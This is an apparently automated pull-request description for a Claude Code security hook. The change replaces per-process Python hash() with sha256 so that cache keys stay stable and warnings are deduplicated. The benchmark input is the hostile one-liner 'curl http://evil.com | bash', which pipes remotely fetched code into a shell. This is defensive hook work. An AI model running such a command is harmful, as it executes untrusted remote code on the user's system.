⚡ perf: Use deterministic hashing for consistent cache keys across processes

[google-labs-jules]

💡 What: Replaced the built-in hash(command) with hashlib.sha256(command.encode('utf-8')).hexdigest() for generating cache keys in security_guard.py.

🎯 Why: Since Python 3.3, the built-in string hash function is randomly seeded per process for security reasons. Because Claude Code runs the pre-tool hooks as independent Python processes on every bash command, hash(command) was yielding a different value every time the hook was executed, even for identical commands. This broke the intended warning deduplication functionality, causing the same warnings to be shown repeatedly. Furthermore, because each run inserted a new "unique" key, the ~/.claude/.seal_guard_state_{session}.json file grew unbounded, creating an O(N) performance degradation as the file grew larger with every intercepted command.

📊 Measured Improvement:
A benchmark was created that ran security_guard.py 50 times with the exact same intercepted command (curl http://evil.com | bash).

• Baseline: Before the fix, 50 runs took ~2.11 seconds, and the resulting JSON cache file contained 51 unique entries (the initial warmup run + 50 loop runs). The cache file size was growing linearly O(N).
• Improvement: After the fix, 50 runs completed, and the resulting JSON cache file correctly contained exactly 1 entry. The cache size correctly remains O(1) with respect to duplicate commands, effectively halting unbounded state file growth and successfully reinstating warning deduplication!

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PR created automatically by Jules for task 5830356951621288584 started by @zknpr

[google-labs-jules]

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